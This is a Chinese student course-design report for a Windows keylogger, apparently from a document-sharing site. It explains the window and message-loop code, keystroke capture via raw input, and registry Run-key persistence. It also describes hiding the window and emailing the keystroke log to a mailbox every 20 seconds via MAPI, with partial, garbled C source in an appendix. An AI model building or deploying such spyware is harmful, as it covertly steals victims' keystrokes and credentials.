键盘监听程序课程设计.doc_第1页
键盘监听程序课程设计.doc_第2页
键盘监听程序课程设计.doc_第3页
键盘监听程序课程设计.doc_第4页
键盘监听程序课程设计.doc_第5页
已阅读5页,还剩7页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

目 录目 录1一 设计目的2二 设计内容2三 设计要求2四 设计过程21、窗口函数程序实现的步骤22、消息循环43、编写窗口过程函数54、自启动模块设计65、定时发送邮件模块设计66、程序流程图8五 设计总结9参考文献9一 设计目的通过本次课程设计,设计一个键盘监听程序,系统启动后自动记录所有键盘信息的功能,能够记录键盘的输入值,且该程序具有自动启动功能,并能够定期通过网络给某人的指定的邮箱发送所记录的信息。二 设计内容1、题目分析,查找资料和总体设计。2、详细设计、代码编制、程序调试。系统功能要求如下:模块一 该部分通过设计一个窗口,并在窗口中响应键盘消息,记录键盘的相关按键记录,实现键盘监听的功能。模块二 该部分通过对注册表的修改,将该程写入注册表,实现该程序的随系统的启动而启动。模块三 该部分通过调用系统的定时函数,实现邮件的定时发送。3、结果分析、完成课程设计报告。三 设计要求1、学生能够较深入的理解网络编成的设计方法,并在所要求的设计时间内,利用自己所熟悉的语言完成本题目的程序编制。2、程序要能正确运行,完成预功能。3、要求设计清晰、美观的用户界面,当操作出错时,程序要有出错提示信息。4、上交设计报告。重点阐述程序的有关算法说明、程序的流程图以及子程序的功能和参数的说明及程序代码。四 设计过程1、窗口函数程序实现的步骤(1)WinMain函数的定义WinMain函数的原型声明如下: int WINAPI WinMain(HINSTANCE hInstande,HINSTANCE hPrevInstance,LPSTR IpCmdLine,Int nCmdShow);WinMain函数接收4个参数,这些参数都是在系统调用WinMian函数时,传递给应用程序的。第一个参数hInstance表示该程序当前运行的实例的句柄。第二个参数hPrevInstance表示当前实例的前一个实例的句柄。第三个参数IpCmdLine是一个以空终止的空符串,第四个参数nCmdShow指定程序的窗口应该如何显示。(2)创建一个窗口设计一个窗口类一个完整的窗口有许多的特征,包括光标、图标、背景色等。因此在创建一个窗口之前,要对该类型的窗口进行设计,指定该窗口的相关特征。Windows为我们定义了一个窗口所应该有的基本属性。在此次的程序中,运用了wndClass这样一个函数,来实现窗口属性的设置。其中的第二个成员变量IpfnWndProc是一个函数指针,指向窗口过程函数,窗口过程函数是一个回调函数。回调函数在特定的事件或条件发生时由另外一方调用的,用于对该事件或条件进行响应。(3)注册窗口类调用RegisterClass函数对窗口进行注册,注册成功后才能创建该类型的窗口。具体实现如下:RegisterClass(&wndClass);(4)创建窗口设计好窗口并且将其注册成功后,就可以用CreateWindow函数产生这种类型的窗口了。其函数的原型声明如下:HWND CreateWindow( LPCTSTR lpClassName, / registered class name LPCTSTR lpWindowName, / window name DWORD dwStyle, / window style int x, / horizontal position of window int y, / vertical position of window int nWidth, / window width int nHeight, / window height HWND hWndParent, / handle to parent or owner window HMENU hMenu, / menu handle or child identifier HINSTANCE hInstance, / handle to application instance LPVOID lpParam / window-creation data);(5)显示及更新窗口其中,显示窗口通过ShowWindow函数实现。更新窗口通过UpdateWindow函数实现。到此,一个窗口函数的创建就算完成了。2、消息循环(1)编写一个消息循环,不断的从消息队列中取出消息,并进行响应。要从消息队列中取出消息,我们需要调用GetMessage()函数。通常的消息循环函数的代码如下:while(GetMessage(&msg, NULL, 0, 0) /消息循环 TranslateMessage(&msg); /虚拟键消息转换为字符消息 DispatchMessage(&msg); /消息回传给操作系统 GetMessage函数只有在接收到WMQUIT消息时,才返回0。此时while语句的判断条件为假,循环退出,程序才能结束运行。在没有接收到WMQUIT消息时,Windows应用程序就通过while循环来保证程序始终处于运行状态。Windows应用程序的消息处理机制如下图所示:图2-1(2)操作系统接收到应用程序的窗口消息,将消息投递到该应用程序的消息队列中。(3)应用程序在消息循环中调用GetMessage函数从消息队列中取出一条一条的消息。取出消息后,应用程序可以对消息进行一些预处理,例如,放弃对某些消息的响应,或者调用TranslateMessage产生新的消息。(4)应用程序调用DispatchMessage,将消息回传给操作系统,消息是由MSG结构体对象来表示的,其中就包含了接收消息的窗口的句柄。因此,DispatchMessage函数总能进行正确的传递。(5)系统调用WNDCLASS结构体的IpfnWndProc成员保存的窗口过程函数的指针调用窗口过程,对消息进行处理。(6)发送消息可以使用SendMessage和PostMessage函数。SendMessage将消息直接发送给窗口,并调用该窗口的窗口过程进行处理。在窗口过程对消息处理完毕后,该函数才返回。PostMessage函数将消息放入与创建窗口的线程相关联的消息队列后立即返回。除了两个函数外,还有一个PostThreadMessage函数,用于向线程发送消息,对于线程消息,MSG结构体中的hwnd成员为NULL。3、编写窗口过程函数(1)窗口过程函数用于处理发送给窗口的消息。一个Windows应用程序的主要代码部分就集中在窗口过程函数中。窗口过程函数的声明如下:LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) HDC hdc; PAINTSTRUCT ps; (2)具体函数中有按键消息处理,通过WM_INPUT实现,当发现有按键消息时,通过GetRawInputData函数获得原始的按键信息,再通过WriteFile写入文件中,写下按键记录。绘制窗口的界面,通过WM_PAINT完成。当窗口客户区的一部分或者全部变为无效是,系统会发送WM_PAINT消息,通知应用程序重新绘制窗口,当窗口刚创建的时候,整个客户区都是无效的,因为这个时候程序还没有在窗口上绘制任何东西,当调用UpdateWindows函数时,会发送WM_PAINT消息给窗口过程,对窗口进行刷新.完成后,需要对窗口进行撤销,使用WM_DESTROY完成。当用户单击窗口伤的关闭按钮的时候,系统会给应用程序发送一条WM_CLOSE消息,首先弹出一个消息框,让用户确认是否结束.用户选择是,则调用DestroyWindows函数销毁窗口, DestroyWindows函数在销毁窗口后会向窗口发送WM_DESTROY消息,此时,窗口销毁了,但是应用程序并没有退出.GetMessage函数只有在收到WM_QUIT消息才返回0,此时消息循环才结束,程序退出.想要让程序退出,我们必须响应WM_DESTROY消息,并在消息响应代码中调用PostQuitMessage.向应用程序的消息队列中投递WM_QUIT消息,传递给PostQuitMessage函数的参数值将作为WM_QUIT消息的wParam参数,这个值通常用作WinMain函数的返回值。DefWindowProc函数调用默认的窗口过程,对应用程序没有处理的其他消息进行默认处理.4、自启动模块设计(1)该部分通过将程序的可执行程序写入注册表,实现随着系统的启动而启动。自启动有两种方法,第一种方法是,在本地计算机中打开注册表编辑器,找到下面的键值:HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows 然后在Windows键值下新建一个字符串键值,并更名为load,双击打开这个字符串键值,接着把弹出窗口的“数值数据”中设置要随系统自动运行的程序的路径即可。需要注意的是,输入的路径文件名是短文件名。(2)另一种方法同样是在注册表中进行设置,找到键值:HKEY_LOCAL_MACHINESOFTWAREMicrosoftCommand Processor,找到并双击“AutoRun”这项,然后将键值设置为需要启动的程序即可。这两种方法都可以.在实验中,运用了方法一,通过SoftwareMicrosoftWindowsCurrentVersionRun;找到键值,再通过hkResult,hacker/ 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)F:KBDLoggerDebugKBDLogger.exe,32找到路径后,将可执行程序写入注册表,实现自启动.5、定时发送邮件模块设计(1)邮件发送功能通过Simple MAPI的函数以及相关的数据结构,根据其结构可以很简单的实现发送邮件的功能。实现一个完整的邮件发送过程,只需要一个函数“MAPISendMail()”, MAPI 与邮件系统关系密切,要能够使用MAPI的功能,系统必须安装有支持 MAPI 的邮件系统,比如Outlook、Outlook Express、Eudora、Netscape等.在本次设计中,邮件系统使用的是outlook,经过测试,发现没有问题。首先是MAPI库的初始化,包括两个步骤:装载MAPI库、得到函数入口地址。发送邮件 MAPISendMail(),发送邮件功能就是对MAPISendMail()的封装。下面解释这个API函数的参数定义。ULONG FAR PASCAL MAPISendMail(LHANDLE lhSession, ULONG ulUIParam, lpMapiMessage lpMessage, FLAGS flFlags, ULONG ulReserved);lhSession、ulUIParam和ulReserved这三个参数,简单地设置为0就可以了。flFlags有三个有效位,分别是 MAPI_DIALOG,MAPI_LOGON_UI,MAPI_NEW_SESSION。重点是 lpMessage 这个参数,它指向一个MapiMessage类型的结构,详细地定义了一个邮件的全部信息。(2)结构MapiMessage使用时首先定义一个MapiMessage类型的变量,将其清零。现在我们只要简单地设定lpszSubject(标题)、lpszNoteText(正文)、lpOriginator(发件人)、nRecipCount(收件人计数,),lpRecips(一个包含全部收件人的数组),nFileCount(附件计数)、lpFiles(包含每个附件信息的数组)。nRecipCount 和 nFileCount 的值一定要与实际的收件人和附件数目相符。(3)结构 MapiRecipDesc必须设置 ulRecipClass、lpszName、lpszAddress(4)结构 MapiFileDesc必须设置的有lpszPathName、nPosiotion两个参数(5)定时功能定时功能通过调用系统函数SetTimer()来实现。其声明原型如下UINT_PTR SetTimer( HWND hWnd, / handle to window UINT_PTR nIDEvent, / timer identifier UINT uElapse, / time-out value TIMERPROC lpTimerFunc / timer procedure);此程序中的时间值设置的是20秒,也就是说每隔20秒,程序会向指定的邮箱发送键盘记录。6、程序流程图(1)键盘监控流程图图6-1键盘监控流程图五 设计总结通过这次的键盘监听程序的设计,使得我对窗口中响应键盘消息的机制更加深入的了解了,通过对窗口的属性设置、注册窗口类、创建窗口、显示窗口、更新窗口、消息循环、窗口过程函数的编写,具体深入的体会了窗口响应键盘消息的实现过程和方法。同时,对于Windows的许多函数有了进一步运用与了解,如运用MAPI发送邮件的使用规则、运用CreateWindow()进行窗口的创建、窗口过程函数的编写、GetForegroundWindow的使用等等,提高了编程的能力。关于程序运行时,无法实现邮件发送的问题,经过反复的调试,都无法发现问题。把发送邮件的程序提取出来单独运行时,发现是没有问题的,能够正确的发送邮件。但是,把这个程序完整的放入到整个程序中后,却无法发送邮件。最后发现是由于进程的互斥问题。记录的文件一直处于打开状态,并且不断地有记录向文件中写入,这时想要访问该文件当然是不被允许的。究其原因,还是由于设计程序是没有考虑操作系统的问题,文件打开后没有立刻关闭。在今后的程序设计中,要考虑关于操作系统的同步互斥问题。这种问题的出现,也正好提醒我要把学过的每一门专业课都学扎实,切实提高自己的编程功力,这样,才能够做到真正的提高。 试验中遇到了不少的问题,有些通过上网查阅资料解决了,还有些通过与同学的交流,发现并解决了问题.尽管过程有些漫长,但是,在这个逐步解决问题的过程中,无论是自学能力,查阅资料的能力还是实际的动手能力都有了较大的提高.我想,只有通过不断的诸如此类的课程设计,才能够更好的检验我们平时所学的知识。参考文献1计算机网络安全教程石志国 薛为民 江俐 编著 清华大学出版社 北京交通大学出版社 2004年2计算机网络安全基础袁津生 吴砚农 编 人民邮电出版社2002年3网站:附录1、窗口函数的实现源代码:INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)/主函数 HWND hWnd; MSG msg; WNDCLASS wndClass;wndClass.style = CS_HREDRAW | CS_VREDRAW; wndClass.lpfnWndProc = WndProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInstance; wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wndClass.lpszMenuName = NULL; wndClass.lpszClassName = TEXT(KBDLoger); /窗口属性设置 RegisterClass(&wndClass); /注册窗口类 hWnd = CreateWindow( /创建窗口 TEXT(KBDLoger), / window class name TEXT(KBDLoger), / window caption WS_OVERLAPPEDWINDOW, / window style 200, / initial x position 200, / initial y position 480, / initial x size 110, / initial y size NULL, / parent window handle NULL, / window menu handle hInstance, / program instance handle NULL); / creation parameterswhile(GetMessage(&msg, NULL, 0, 0) /消息循环 TranslateMessage(&msg); /虚拟键消息转换为字符消息 DispatchMessage(&msg); /消息回传给操作系统 return msg.wParam; LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) /窗口过程函数if (raw-header.dwType = RIM_TYPEKEYBOARD) hwndCW = GetForegroundWindow();/ 获取当前键盘焦点窗口名称GetWindowText(hwndCW, wtitle, 128); wsprintf(vk, %s:%srn, wtitle, GetKeyName(raw-data.keyboard.VKey);if(hFile != INVALID_HANDLE_VALUE & (WM_KEYDOWN = raw-data.keyboard.Message) | (WM_SYSKEYDOWN = raw-data.keyboard.Message) & (0xFF !=raw-data.keyboard.VKey) SetFilePointer(hFile, 0, NULL, FILE_END);WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL); if( VK_HOME = raw-data.keyboard.VKey) /按下home键显示窗口ShowWindow(hWnd, SW_NORMAL);if( VK_END = raw-data.keyboard.VKey) /按下end键隐藏窗口ShowWindow(hWnd, SW_HIDE); delete lpb; DefWindowProc(hWnd, message, wParam, lParam);return 0; case WM_PAINT: /窗口绘制 hdc = BeginPaint(hWnd, &ps);TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo); EndPaint(hWnd, &ps); return 0; case WM_DESTROY: /退出窗口 PostQuitMessage(0);CloseHandle(hFile); return 0;default:return DefWindowProc(hWnd, message, wParam, lParam);/对应用程序未处理的消息提供默认处理PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)HMODULE hDll = LoadLibraryA(dllname);/可执行模块映射到进程地址空间if(NULL = hDll)return NULL;PVOID pProc = GetProcAddress(hDll, procname);/获取导出函数的地址FreeLibrary(hDll);return pProc;2、邮件定时发送源代码/收件人结构信息MapiRecipDesc recip;memset(&recip,0,sizeof(MapiRecipDesc);recip.lpszAddress=SMTP:yangjiankun11gmail.co

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论